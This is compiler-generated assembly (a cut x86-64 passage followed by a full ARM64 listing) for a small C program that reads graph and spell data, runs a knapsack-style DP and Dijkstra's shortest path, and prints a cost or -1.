(%rax) jne LBB1_6 ## %bb.5: ## in Loop: Header=BB1_2 Depth=1 movq _k@GOTPCREL(%rip), %rax cmpl $0, (%rax) je LBB1_59 LBB1_6: ## in Loop: Header=BB1_2 Depth=1 testl %r8d, %r8d jle LBB1_10 ## %bb.7: ## in Loop: Header=BB1_2 Depth=1 addq $4, %r12 leaq 4(%r14), %r13 xorl %ebx, %ebx .p2align 4, 0x90 LBB1_8: ## Parent Loop BB1_2 Depth=1 ## => This Inner Loop Header: Depth=2 leaq L_.str.1(%rip), %rdi movq %r13, %rsi movq %r12, %rdx xorl %eax, %eax callq _scanf movq _m@GOTPCREL(%rip), %rax movslq (%rax), %r8 incq %rbx addq $4, %r12 addq $4, %r13 cmpq %r8, %rbx jl LBB1_8 ## %bb.9: ## in Loop: Header=BB1_2 Depth=1 movq _n@GOTPCREL(%rip), %r13 movq _dano@GOTPCREL(%rip), %r12 LBB1_10: ## in Loop: Header=BB1_2 Depth=1 movl $0, (%r15) leal 1(%r8), %ecx movl $1, %edx jmp LBB1_11 .p2align 4, 0x90 LBB1_34: ## in Loop: Header=BB1_11 Depth=2 incq %rdx cmpq $1001, %rdx ## imm = 0x3E9 je LBB1_15 LBB1_11: ## Parent Loop BB1_2 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB1_13 Depth 3 movl $1500000000, (%r15,%rdx,4) ## imm = 0x59682F00 testl %r8d, %r8d jle LBB1_34 ## %bb.12: ## in Loop: Header=BB1_11 Depth=2 movl $1, %esi movl $1500000000, %ebx ## imm = 0x59682F00 jmp LBB1_13 .p2align 4, 0x90 LBB1_33: ## in Loop: Header=BB1_13 Depth=3 incq %rsi cmpq %rsi, %rcx je LBB1_34 LBB1_13: ## Parent Loop BB1_2 Depth=1 ## Parent Loop BB1_11 Depth=2 ## => This Inner Loop Header: Depth=3 movl %edx, %edi subl (%r12,%rsi,4), %edi js LBB1_14 ## %bb.30: ## in Loop: Header=BB1_13 Depth=3 movl %edi, %eax movl (%r14,%rsi,4), %edi addl (%r15,%rax,4), %edi cmpl %ebx, %edi jge LBB1_33 jmp LBB1_32 .p2align 4, 0x90 LBB1_14: ## in Loop: Header=BB1_13 Depth=3 movl (%r14,%rsi,4), %edi cmpl %ebx, %edi jge LBB1_33 LBB1_32: ## in Loop: Header=BB1_13 Depth=3 movl %edi, (%r15,%rdx,4) movl %edi, %ebx jmp LBB1_33 .p2align 4, 0x90 LBB1_15: ## in Loop: Header=BB1_2 Depth=1 movl (%r13), %r12d testl %r12d, %r12d jle LBB1_21 ## %bb.16: ## in Loop: Header=BB1_2 Depth=1 movq _disc@GOTPCREL(%rip), %rax leaq 1(%rax), %rdi movq %r12, %rsi callq ___bzero leaq (,%r12,4), %rbx movq _sal@GOTPCREL(%rip), %rax leaq 4(%rax), %rdi movq %rbx, %rsi callq ___bzero movq _dist@GOTPCREL(%rip), %rax leaq 4(%rax), %rdi leaq L_.memset_pattern(%rip), %rsi movq %rbx, %rdx callq _memset_pattern16 leaq -1(%r12), %rax movl %r12d, %ecx andl $7, %ecx movq %rcx, -64(%rbp) ## 8-byte Spill cmpq $7, %rax jae LBB1_35 ## %bb.17: ## in Loop: Header=BB1_2 Depth=1 xorl %ebx, %ebx jmp LBB1_18 .p2align 4, 0x90 LBB1_35: ## in Loop: Header=BB1_2 Depth=1 movl %r12d, %eax andl $-8, %eax movq %rax, -72(%rbp) ## 8-byte Spill movq -56(%rbp), %r13 ## 8-byte Reload xorl %ebx, %ebx .p2align 4, 0x90 LBB1_36: ## Parent Loop BB1_2 Depth=1 ## => This Inner Loop Header: Depth=2 leaq -7007(%r13), %rdi movq %r12, %rsi callq ___bzero leaq -6006(%r13), %rdi movq %r12, %rsi callq ___bzero leaq -5005(%r13), %rdi movq %r12, %rsi callq ___bzero leaq -4004(%r13), %rdi movq %r12, %rsi callq ___bzero leaq -3003(%r13), %rdi movq %r12, %rsi callq ___bzero leaq -2002(%r13), %rdi movq %r12, %rsi callq ___bzero leaq -1001(%r13), %rdi movq %r12, %rsi callq ___bzero addq $8, %rbx movq %r13, %rdi movq %r12, %rsi callq ___bzero addq $8008, %r13 ## imm = 0x1F48 cmpq %rbx, -72(%rbp) ## 8-byte Folded Reload jne LBB1_36 LBB1_18: ## in Loop: Header=BB1_2 Depth=1 movq -64(%rbp), %rdx ## 8-byte Reload testq %rdx, %rdx je LBB1_21 ## %bb.19: ## in Loop: Header=BB1_2 Depth=1 imulq $1001, %rbx, %rax ## imm = 0x3E9 movq _gal@GOTPCREL(%rip), %rcx leaq (%rcx,%rax), %r14 addq $1002, %r14 ## imm = 0x3EA imulq $1001, %rdx, %rbx ## imm = 0x3E9 xorl %r13d, %r13d .p2align 4, 0x90 LBB1_20: ## Parent Loop BB1_2 Depth=1 ## => This Inner Loop Header: Depth=2 leaq (%r14,%r13), %rdi movq %r12, %rsi callq ___bzero addq $1001, %r13 ## imm = 0x3E9 cmpq %r13, %rbx jne LBB1_20 LBB1_21: ## in Loop: Header=BB1_2 Depth=1 movq _g@GOTPCREL(%rip), %r13 cmpl $0, (%r13) leaq L_.str.1(%rip), %rdi leaq -48(%rbp), %r15 leaq -44(%rbp), %rdx movq _gal@GOTPCREL(%rip), %r14 jle LBB1_24 ## %bb.22: ## in Loop: Header=BB1_2 Depth=1 xorl %ebx, %ebx .p2align 4, 0x90 LBB1_23: ## Parent Loop BB1_2 Depth=1 ## => This Inner Loop Header: Depth=2 movq %rdi, %r13 movq %r15, %rsi movq %rdx, %r12 xorl %eax, %eax callq _scanf movq %r13, %rdi movslq -44(%rbp), %rax movslq -48(%rbp), %rcx imulq $1001, %rax, %rdx ## imm = 0x3E9 addq %r14, %rdx movb $1, (%rcx,%rdx) movq %r12, %rdx imulq $1001, %rcx, %rcx ## imm = 0x3E9 addq %r14, %rcx movb $1, (%rax,%rcx) movq _g@GOTPCREL(%rip), %rax incl %ebx cmpl (%rax), %ebx jl LBB1_23 LBB1_24: ## in Loop: Header=BB1_2 Depth=1 movq _k@GOTPCREL(%rip), %rax cmpl $0, (%rax) movq %r15, %r13 movq %rdi, %r14 movq _sal@GOTPCREL(%rip), %rdi movq _dp@GOTPCREL(%rip), %r15 jle LBB1_27 ## %bb.25: ## in Loop: Header=BB1_2 Depth=1 movq %rdx, %r12 xorl %ebx, %ebx .p2align 4, 0x90 LBB1_26: ## Parent Loop BB1_2 Depth=1 ## => This Inner Loop Header: Depth=2 movq %r14, %rdi movq %r13, %rsi movq %r12, %rdx xorl %eax, %eax callq _scanf movq _sal@GOTPCREL(%rip), %rdi movslq -48(%rbp), %rax movslq -44(%rbp), %rcx movl (%r15,%rcx,4), %ecx addl %ecx, (%rdi,%rax,4) incl %ebx movq _k@GOTPCREL(%rip), %rax cmpl (%rax), %ebx jl LBB1_26 LBB1_27: ## in Loop: Header=BB1_2 Depth=1 movl 4(%rdi), %eax movq _dist@GOTPCREL(%rip), %rcx movl %eax, 4(%rcx) movq _n@GOTPCREL(%rip), %rax movl (%rax), %r9d movq _disc@GOTPCREL(%rip), %rsi cmpb $0, 1(%rsi) movq _gal@GOTPCREL(%rip), %r11 movq %rcx, %r12 movq _mana@GOTPCREL(%rip), %r14 jne LBB1_55 ## %bb.28: ## in Loop: Header=BB1_2 Depth=1 cmpl $1, %r9d je LBB1_55 ## %bb.29: ## in Loop: Header=BB1_2 Depth=1 movq %rdi, %r13 leal 1(%r9), %ecx leaq -1(%rcx), %r8 movq %r8, %r10 andq $-2, %r10 leaq 1(%rsi), %rax negq %r10 movl $1, %ebx movl $1, %edx .p2align 4, 0x90 LBB1_42: ## Parent Loop BB1_2 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB1_44 Depth 3 ## Child Loop BB1_50 Depth 3 movb $1, (%rax) movl $1, %edi testl %r9d, %r9d jle LBB1_40 ## %bb.43: ## in Loop: Header=BB1_42 Depth=2 movl %ebx, %edi imulq $1001, %rdx, %rbx ## imm = 0x3E9 addq %r11, %rbx movl $1, %eax jmp LBB1_44 .p2align 4, 0x90 LBB1_48: ## in Loop: Header=BB1_44 Depth=3 incq %rax cmpq %rax, %rcx je LBB1_49 LBB1_44: ## Parent Loop BB1_2 Depth=1 ## Parent Loop BB1_42 Depth=2 ## => This Inner Loop Header: Depth=3 cmpq %rax, %rdi je LBB1_48 ## %bb.45: ## in Loop: Header=BB1_44 Depth=3 cmpb $0, (%rbx,%rax) je LBB1_48 ## %bb.46: ## in Loop: Header=BB1_44 Depth=3 movl (%r13,%rax,4), %esi addl (%r12,%rdx,4), %esi cmpl %esi, (%r12,%rax,4) jle LBB1_48 ## %bb.47: ## in Loop: Header=BB1_44 Depth=3 movl %esi, (%r12,%rax,4) jmp LBB1_48 .p2align 4, 0x90 LBB1_49: ## in Loop: Header=BB1_42 Depth=2 movl $1, %edi movl $1500000000, %edx ## imm = 0x59682F00 movl $1, %ebx movq _disc@GOTPCREL(%rip), %rsi cmpl $2, %ecx jne LBB1_50 LBB1_37: ## in Loop: Header=BB1_42 Depth=2 testb $1, %r8b je LBB1_40 ## %bb.38: ## in Loop: Header=BB1_42 Depth=2 cmpb $0, (%rsi,%rbx) jne LBB1_40 ## %bb.39: ## in Loop: Header=BB1_42 Depth=2 cmpl (%r12,%rbx,4), %edx cmovgl %ebx, %edi .p2align 4, 0x90 LBB1_40: ## in Loop: Header=BB1_42 Depth=2 movslq %edi, %rdx cmpb $0, (%rsi,%rdx) jne LBB1_55 ## %bb.41: ## in Loop: Header=BB1_42 Depth=2 leaq (%rsi,%rdx), %rax movl %edi, %ebx cmpl %r9d, %edx jne LBB1_42 jmp LBB1_55 .p2align 4, 0x90 LBB1_54: ## in Loop: Header=BB1_50 Depth=3 leaq (%r10,%rbx), %rax addq $2, %rax addq $2, %rbx cmpq $1, %rax je LBB1_37 LBB1_50: ## Parent Loop BB1_2 Depth=1 ## Parent Loop BB1_42 Depth=2 ## => This Inner Loop Header: Depth=3 cmpb $0, (%rsi,%rbx) je LBB1_51 ## %bb.52: ## in Loop: Header=BB1_50 Depth=3 cmpb $0, 1(%rsi,%rbx) jne LBB1_54 jmp LBB1_53 .p2align 4, 0x90 LBB1_51: ## in Loop: Header=BB1_50 Depth=3 movl (%r12,%rbx,4), %eax cmpl %eax, %edx cmovgl %ebx, %edi cmovgel %eax, %edx cmpb $0, 1(%rsi,%rbx) jne LBB1_54 LBB1_53: ## in Loop: Header=BB1_50 Depth=3 movl 4(%r12,%rbx,4), %eax leal 1(%rbx), %esi cmpl %eax, %edx cmovgl %esi, %edi movq _disc@GOTPCREL(%rip), %rsi cmovgel %eax, %edx jmp LBB1_54 .p2align 4, 0x90 LBB1_55: ## in Loop: Header=BB1_2 Depth=1 movslq %r9d, %rax movl (%r12,%rax,4), %esi cmpl $1500000000, %esi ## imm = 0x59682F00 jne LBB1_57 ## %bb.56: ## in Loop: Header=BB1_2 Depth=1 leaq L_str(%rip), %rdi callq _puts jmp LBB1_58 LBB1_59: xorl %eax, %eax addq $40, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _sal,4004,4 ## @sal .comm _dist,4004,4 ## @dist .comm _disc,1001,4 ## @disc .comm _n,4,2 ## @n .comm _gal,1002001,4 ## @gal .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d %d %d %d" .comm _m,4,2 ## @m .comm _g,4,2 ## @g .comm _k,4,2 ## @k L_.str.1: ## @.str.1 .asciz "%d %d" .comm _mana,4004,4 ## @mana .comm _dano,4004,4 ## @dano .comm _dp,4004,4 ## @dp L_.str.3: ## @.str.3 .asciz "%d\n" L_str: ## @str .asciz "-1" .section __TEXT,__literal16,16byte_literals .p2align 4 ## @.memset_pattern L_.memset_pattern: .long 1500000000 ## 0x59682f00 .long 1500000000 ## 0x59682f00 .long 1500000000 ## 0x59682f00 .long 1500000000 ## 0x59682f00 .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _dijkstra ; -- Begin function dijkstra .p2align 2 _dijkstra: ; @dijkstra .cfi_startproc ; %bb.0: ; kill: def $w0 killed $w0 def $x0 mov x10, x0 sbfiz x11, x10, #2, #32 Lloh0: adrp x8, _sal@GOTPAGE Lloh1: ldr x8, [x8, _sal@GOTPAGEOFF] ldr w12, [x8, x11] Lloh2: adrp x9, _dist@GOTPAGE Lloh3: ldr x9, [x9, _dist@GOTPAGEOFF] sxtw x16, w10 str w12, [x9, x11] Lloh4: adrp x10, _n@GOTPAGE Lloh5: ldr x10, [x10, _n@GOTPAGEOFF] Lloh6: ldr w10, [x10] Lloh7: adrp x11, _disc@GOTPAGE Lloh8: ldr x11, [x11, _disc@GOTPAGEOFF] ldrb w12, [x11, x16] cmp w12, #0 ccmp w10, w0, #4, eq b.ne LBB0_2 LBB0_1: ret LBB0_2: add w12, w10, #1 sub x13, x12, #1 mov w14, #1001 Lloh9: adrp x15, _gal@GOTPAGE Lloh10: ldr x15, [x15, _gal@GOTPAGEOFF] b LBB0_5 LBB0_3: ; in Loop: Header=BB0_5 Depth=1 mov w0, #1 LBB0_4: ; in Loop: Header=BB0_5 Depth=1 sxtw x16, w0 ldrb w17, [x11, x16] cmp w17, #0 ccmp w0, w10, #4, eq b.eq LBB0_1 LBB0_5: ; =>This Loop Header: Depth=1 ; Child Loop BB0_8 Depth 2 ; Child Loop BB0_14 Depth 2 mov w17, #1 strb w17, [x11, x16] cmp w10, #1 b.lt LBB0_3 ; %bb.6: ; in Loop: Header=BB0_5 Depth=1 mov w17, w0 sub x17, x17, #1 madd x0, x16, x14, x15 add x0, x0, #1 add x1, x8, #4 add x2, x9, #4 mov x3, x13 b LBB0_8 LBB0_7: ; in Loop: Header=BB0_8 Depth=2 sub x17, x17, #1 add x1, x1, #4 add x2, x2, #4 add x0, x0, #1 subs x3, x3, #1 b.eq LBB0_12 LBB0_8: ; Parent Loop BB0_5 Depth=1 ; => This Inner Loop Header: Depth=2 cbz x17, LBB0_7 ; %bb.9: ; in Loop: Header=BB0_8 Depth=2 ldrb w4, [x0] cbz w4, LBB0_7 ; %bb.10: ; in Loop: Header=BB0_8 Depth=2 ldr w5, [x2] ldr w4, [x9, x16, lsl #2] ldr w6, [x1] add w4, w6, w4 cmp w5, w4 b.le LBB0_7 ; %bb.11: ; in Loop: Header=BB0_8 Depth=2 str w4, [x2] b LBB0_7 LBB0_12: ; in Loop: Header=BB0_5 Depth=1 mov w16, #1 mov w17, #12032 movk w17, #22888, lsl #16 mov x0, x16 b LBB0_14 LBB0_13: ; in Loop: Header=BB0_14 Depth=2 add x16, x16, #1 cmp x12, x16 b.eq LBB0_4 LBB0_14: ; Parent Loop BB0_5 Depth=1 ; => This Inner Loop Header: Depth=2 ldrb w1, [x11, x16] cbnz w1, LBB0_13 ; %bb.15: ; in Loop: Header=BB0_14 Depth=2 ldr w1, [x9, x16, lsl #2] cmp w17, w1 csel w0, w16, w0, gt csel w17, w17, w1, lt b LBB0_13 .loh AdrpLdrGot Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh4, Lloh5, Lloh6 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGot Lloh9, Lloh10 .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #144 .cfi_def_cfa_offset 144 stp x28, x27, [sp, #48] ; 16-byte Folded Spill stp x26, x25, [sp, #64] ; 16-byte Folded Spill stp x24, x23, [sp, #80] ; 16-byte Folded Spill stp x22, x21, [sp, #96] ; 16-byte Folded Spill stp x20, x19, [sp, #112] ; 16-byte Folded Spill stp x29, x30, [sp, #128] ; 16-byte Folded Spill add x29, sp, #128 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 Lloh11: adrp x24, _k@GOTPAGE Lloh12: ldr x24, [x24, _k@GOTPAGEOFF] Lloh13: adrp x8, _g@GOTPAGE Lloh14: ldr x8, [x8, _g@GOTPAGEOFF] Lloh15: adrp x19, _n@GOTPAGE Lloh16: ldr x19, [x19, _n@GOTPAGEOFF] Lloh17: adrp x20, _m@GOTPAGE Lloh18: ldr x20, [x20, _m@GOTPAGEOFF] stp x8, x24, [sp, #16] mov x27, x8 stp x20, x19, [sp] Lloh19: adrp x0, l_.str@PAGE Lloh20: add x0, x0, l_.str@PAGEOFF bl _scanf cbz w0, LBB1_46 ; %bb.1: mov x17, x19 mov w26, #12032 movk w26, #22888, lsl #16 Lloh21: adrp x23, _dp@GOTPAGE Lloh22: ldr x23, [x23, _dp@GOTPAGEOFF] Lloh23: adrp x19, l_.str.1@PAGE Lloh24: add x19, x19, l_.str.1@PAGEOFF Lloh25: adrp x22, _gal@GOTPAGE Lloh26: ldr x22, [x22, _gal@GOTPAGEOFF] Lloh27: adrp x21, _dist@GOTPAGE Lloh28: ldr x21, [x21, _dist@GOTPAGEOFF] Lloh29: adrp x28, _disc@GOTPAGE Lloh30: ldr x28, [x28, _disc@GOTPAGEOFF] Lloh31: adrp x25, _dano@GOTPAGE Lloh32: ldr x25, [x25, _dano@GOTPAGEOFF] b LBB1_4 LBB1_2: ; in Loop: Header=BB1_4 Depth=1 str x8, [sp] Lloh33: adrp x0, l_.str.3@PAGE Lloh34: add x0, x0, l_.str.3@PAGEOFF mov x22, x20 bl _printf LBB1_3: ; in Loop: Header=BB1_4 Depth=1 Lloh35: adrp x20, _m@GOTPAGE Lloh36: ldr x20, [x20, _m@GOTPAGEOFF] Lloh37: adrp x25, _dano@GOTPAGE Lloh38: ldr x25, [x25, _dano@GOTPAGEOFF] Lloh39: adrp x27, _g@GOTPAGE Lloh40: ldr x27, [x27, _g@GOTPAGEOFF] stp x27, x24, [sp, #16] stp x20, x22, [sp] Lloh41: adrp x0, l_.str@PAGE Lloh42: add x0, x0, l_.str@PAGEOFF bl _scanf mov x17, x22 Lloh43: adrp x22, _gal@GOTPAGE Lloh44: ldr x22, [x22, _gal@GOTPAGEOFF] cbz w0, LBB1_46 LBB1_4: ; =>This Loop Header: Depth=1 ; Child Loop BB1_7 Depth 2 ; Child Loop BB1_12 Depth 2 ; Child Loop BB1_15 Depth 3 ; Child Loop BB1_21 Depth 2 ; Child Loop BB1_24 Depth 2 ; Child Loop BB1_27 Depth 2 ; Child Loop BB1_33 Depth 2 ; Child Loop BB1_36 Depth 3 ; Child Loop BB1_42 Depth 3 ldr w8, [x20] ldr w9, [x17] ldr w10, [x27] ldr w11, [x24] cmp w8, #0 ccmp w9, #0, #0, eq ccmp w10, #0, #0, eq ccmp w11, #0, #0, eq b.eq LBB1_46 ; %bb.5: ; in Loop: Header=BB1_4 Depth=1 cmp w8, #1 b.lt LBB1_9 ; %bb.6: ; in Loop: Header=BB1_4 Depth=1 mov x24, #0 add x25, x25, #4 Lloh45: adrp x27, _mana@GOTPAGE Lloh46: ldr x27, [x27, _mana@GOTPAGEOFF] add x20, x27, #4 Lloh47: adrp x26, _m@GOTPAGE Lloh48: ldr x26, [x26, _m@GOTPAGEOFF] LBB1_7: ; Parent Loop BB1_4 Depth=1 ; => This Inner Loop Header: Depth=2 stp x20, x25, [sp] mov x0, x19 bl _scanf ldrsw x8, [x26] add x24, x24, #1 add x25, x25, #4 add x20, x20, #4 cmp x24, x8 b.lt LBB1_7 ; %bb.8: ; in Loop: Header=BB1_4 Depth=1 Lloh49: adrp x17, _n@GOTPAGE Lloh50: ldr x17, [x17, _n@GOTPAGEOFF] mov w26, #12032 movk w26, #22888, lsl #16 Lloh51: adrp x25, _dano@GOTPAGE Lloh52: ldr x25, [x25, _dano@GOTPAGEOFF] b LBB1_10 LBB1_9: ; in Loop: Header=BB1_4 Depth=1 Lloh53: adrp x27, _mana@GOTPAGE Lloh54: ldr x27, [x27, _mana@GOTPAGEOFF] LBB1_10: ; in Loop: Header=BB1_4 Depth=1 str wzr, [x23] add w9, w8, #1 sub x9, x9, #1 mov w10, #1 b LBB1_12 LBB1_11: ; in Loop: Header=BB1_12 Depth=2 add x10, x10, #1 cmp x10, #1001 b.eq LBB1_19 LBB1_12: ; Parent Loop BB1_4 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB1_15 Depth 3 str w26, [x23, x10, lsl #2] cmp w8, #1 b.lt LBB1_11 ; %bb.13: ; in Loop: Header=BB1_12 Depth=2 add x11, x27, #4 add x12, x25, #4 mov x13, x9 mov w14, #12032 movk w14, #22888, lsl #16 b LBB1_15 LBB1_14: ; in Loop: Header=BB1_15 Depth=3 add x11, x11, #4 add x12, x12, #4 subs x13, x13, #1 b.eq LBB1_11 LBB1_15: ; Parent Loop BB1_4 Depth=1 ; Parent Loop BB1_12 Depth=2 ; => This Inner Loop Header: Depth=3 ldr w15, [x12] subs w15, w10, w15 b.mi LBB1_17 ; %bb.16: ; in Loop: Header=BB1_15 Depth=3 ldr w15, [x23, w15, uxtw #2] ldr w16, [x11] add w15, w16, w15 cmp w15, w14 b.ge LBB1_14 b LBB1_18 LBB1_17: ; in Loop: Header=BB1_15 Depth=3 ldr w15, [x11] cmp w15, w14 b.ge LBB1_14 LBB1_18: ; in Loop: Header=BB1_15 Depth=3 str w15, [x23, x10, lsl #2] mov x14, x15 b LBB1_14 LBB1_19: ; in Loop: Header=BB1_4 Depth=1 ldr w24, [x17] cmp w24, #1 b.lt LBB1_22 ; %bb.20: ; in Loop: Header=BB1_4 Depth=1 add x0, x28, #1 mov x1, x24 bl _bzero lsl x25, x24, #2 Lloh55: adrp x8, _sal@GOTPAGE Lloh56: ldr x8, [x8, _sal@GOTPAGEOFF] add x0, x8, #4 mov x1, x25 bl _bzero add x0, x21, #4 Lloh57: adrp x1, l_.memset_pattern@PAGE Lloh58: add x1, x1, l_.memset_pattern@PAGEOFF mov x2, x25 bl _memset_pattern16 add x25, x22, #1002 mov x20, x24 LBB1_21: ; Parent Loop BB1_4 Depth=1 ; => This Inner Loop Header: Depth=2 mov x0, x25 mov x1, x24 bl _bzero add x25, x25, #1001 subs x20, x20, #1 b.ne LBB1_21 LBB1_22: ; in Loop: Header=BB1_4 Depth=1 Lloh59: adrp x9, _g@GOTPAGE Lloh60: ldr x9, [x9, _g@GOTPAGEOFF] ldr w8, [x9] cmp w8, #1 mov w24, #1 add x27, sp, #40 mov x26, x22 add x22, sp, #44 mov w25, #1001 b.lt LBB1_25 ; %bb.23: ; in Loop: Header=BB1_4 Depth=1 mov w20, #0 LBB1_24: ; Parent Loop BB1_4 Depth=1 ; => This Inner Loop Header: Depth=2 stp x22, x27, [sp] mov x0, x19 mov x27, x9 bl _scanf ldpsw x8, x9, [sp, #40] madd x10, x8, x25, x26 strb w24, [x10, x9] madd x9, x9, x25, x26 strb w24, [x9, x8] mov x9, x27 add x27, sp, #40 add w20, w20, #1 ldr w8, [x9] cmp w20, w8 b.lt LBB1_24 LBB1_25: ; in Loop: Header=BB1_4 Depth=1 Lloh61: adrp x24, _k@GOTPAGE Lloh62: ldr x24, [x24, _k@GOTPAGEOFF] ldr w8, [x24] cmp w8, #1 Lloh63: adrp x25, _sal@GOTPAGE Lloh64: ldr x25, [x25, _sal@GOTPAGEOFF] b.lt LBB1_28 ; %bb.26: ; in Loop: Header=BB1_4 Depth=1 mov w20, #0 LBB1_27: ; Parent Loop BB1_4 Depth=1 ; => This Inner Loop Header: Depth=2 stp x22, x27, [sp] mov x0, x19 bl _scanf ldpsw x10, x8, [sp, #40] lsl x8, x8, #2 ldr w9, [x25, x8] ldr w10, [x23, x10, lsl #2] add w9, w10, w9 str w9, [x25, x8] add w20, w20, #1 ldr w8, [x24] cmp w20, w8 b.lt LBB1_27 LBB1_28: ; in Loop: Header=BB1_4 Depth=1 ldr w8, [x25, #4] str w8, [x21, #4] Lloh65: adrp x20, _n@GOTPAGE Lloh66: ldr x20, [x20, _n@GOTPAGEOFF] ldr w9, [x20] sxtw x8, w9 ldrb w10, [x28, #1] mov w3, #1001 mov x4, x26 mov w26, #12032 movk w26, #22888, lsl #16 cbnz w10, LBB1_44 ; %bb.29: ; in Loop: Header=BB1_4 Depth=1 cmp w9, #1 b.eq LBB1_44 ; %bb.30: ; in Loop: Header=BB1_4 Depth=1 add w9, w8, #1 add x14, x28, #1 sub x10, x9, #1 mov w11, #1 mov w12, #1 mov x13, x11 b LBB1_33 LBB1_31: ; in Loop: Header=BB1_33 Depth=2 mov w13, #1 LBB1_32: ; in Loop: Header=BB1_33 Depth=2 sxtw x12, w13 add x14, x28, x12 ldrb w15, [x14] cmp w15, #0 ccmp w13, w8, #4, eq b.eq LBB1_44 LBB1_33: ; Parent Loop BB1_4 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB1_36 Depth 3 ; Child Loop BB1_42 Depth 3 strb w11, [x14] cmp w8, #1 b.lt LBB1_31 ; %bb.34: ; in Loop: Header=BB1_33 Depth=2 mov w16, w13 madd x13, x12, x3, x4 add x13, x13, #1 add x14, x25, #4 add x15, x21, #4 sub x16, x16, #1 mov x17, x10 b LBB1_36 LBB1_35: ; in Loop: Header=BB1_36 Depth=3 add x14, x14, #4 add x15, x15, #4 add x13, x13, #1 sub x16, x16, #1 sub x17, x17, #1 cbz x17, LBB1_40 LBB1_36: ; Parent Loop BB1_4 Depth=1 ; Parent Loop BB1_33 Depth=2 ; => This Inner Loop Header: Depth=3 cbz x16, LBB1_35 ; %bb.37: ; in Loop: Header=BB1_36 Depth=3 ldrb w0, [x13] cbz w0, LBB1_35 ; %bb.38: ; in Loop: Header=BB1_36 Depth=3 ldr w1, [x15] ldr w0, [x21, x12, lsl #2] ldr w2, [x14] add w0, w2, w0 cmp w1, w0 b.le LBB1_35 ; %bb.39: ; in Loop: Header=BB1_36 Depth=3 str w0, [x15] b LBB1_35 LBB1_40: ; in Loop: Header=BB1_33 Depth=2 mov w12, #1 mov w14, #12032 movk w14, #22888, lsl #16 mov x13, x12 b LBB1_42 LBB1_41: ; in Loop: Header=BB1_42 Depth=3 add x12, x12, #1 cmp x9, x12 b.eq LBB1_32 LBB1_42: ; Parent Loop BB1_4 Depth=1 ; Parent Loop BB1_33 Depth=2 ; => This Inner Loop Header: Depth=3 ldrb w15, [x28, x12] cbnz w15, LBB1_41 ; %bb.43: ; in Loop: Header=BB1_42 Depth=3 ldr w15, [x21, x12, lsl #2] cmp w14, w15 csel w13, w12, w13, gt csel w14, w14, w15, lt b LBB1_41 LBB1_44: ; in Loop: Header=BB1_4 Depth=1 ldr w8, [x21, x8, lsl #2] cmp w8, w26 b.ne LBB1_2 ; %bb.45: ; in Loop: Header=BB1_4 Depth=1 Lloh67: adrp x0, l_str@PAGE Lloh68: add x0, x0, l_str@PAGEOFF mov x22, x20 bl _puts b LBB1_3 LBB1_46: mov w0, #0 ldp x29, x30, [sp, #128] ; 16-byte Folded Reload ldp x20, x19, [sp, #112] ; 16-byte Folded Reload ldp x22, x21, [sp, #96] ; 16-byte Folded Reload ldp x24, x23, [sp, #80] ; 16-byte Folded Reload ldp x26, x25, [sp, #64] ; 16-byte Folded Reload ldp x28, x27, [sp, #48] ; 16-byte Folded Reload add sp, sp, #144 ret .loh AdrpAdd Lloh19, Lloh20 .loh AdrpLdrGot Lloh17, Lloh18 .loh AdrpLdrGot Lloh15, Lloh16 .loh AdrpLdrGot Lloh13, Lloh14 .loh AdrpLdrGot Lloh11, Lloh12 .loh AdrpLdrGot Lloh31, Lloh32 .loh AdrpLdrGot Lloh29, Lloh30 .loh AdrpLdrGot Lloh27, Lloh28 .loh AdrpLdrGot Lloh25, Lloh26 .loh AdrpAdd Lloh23, Lloh24 .loh AdrpLdrGot Lloh21, Lloh22 .loh AdrpAdd Lloh33, Lloh34 .loh AdrpLdrGot Lloh43, Lloh44 .loh AdrpAdd Lloh41, Lloh42 .loh AdrpLdrGot Lloh39, Lloh40 .loh AdrpLdrGot Lloh37, Lloh38 .loh AdrpLdrGot Lloh35, Lloh36 .loh AdrpLdrGot Lloh47, Lloh48 .loh AdrpLdrGot Lloh45, Lloh46 .loh AdrpLdrGot Lloh51, Lloh52 .loh AdrpLdrGot Lloh49, Lloh50 .loh AdrpLdrGot Lloh53, Lloh54 .loh AdrpAdd Lloh57, Lloh58 .loh AdrpLdrGot Lloh55, Lloh56 .loh AdrpLdrGot Lloh59, Lloh60 .loh AdrpLdrGot Lloh63, Lloh64 .loh AdrpLdrGot Lloh61, Lloh62 .loh AdrpLdrGot Lloh65, Lloh66 .loh AdrpAdd Lloh67, Lloh68 .cfi_endproc ; -- End function .comm _sal,4004,2 ; @sal .comm _dist,4004,2 ; @dist .comm _disc,1001,0 ; @disc .comm _n,4,2 ; @n .comm _gal,1002001,0 ; @gal .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d %d %d %d" .comm _m,4,2 ; @m .comm _g,4,2 ; @g .comm _k,4,2 ; @k l_.str.1: ; @.str.1 .asciz "%d %d" .comm _mana,4004,2 ; @mana .comm _dano,4004,2 ; @dano .comm _dp,4004,2 ; @dp l_.str.3: ; @.str.3 .asciz "%d\n" l_str: ; @str .asciz "-1" .section __TEXT,__literal16,16byte_literals .p2align 4 ; @.memset_pattern l_.memset_pattern: .long 1500000000 ; 0x59682f00 .long 1500000000 ; 0x59682f00 .long 1500000000 ; 0x59682f00 .long 1500000000 ; 0x59682f00 .subsections_via_symbols

the_stack_data/73576281.c

stack

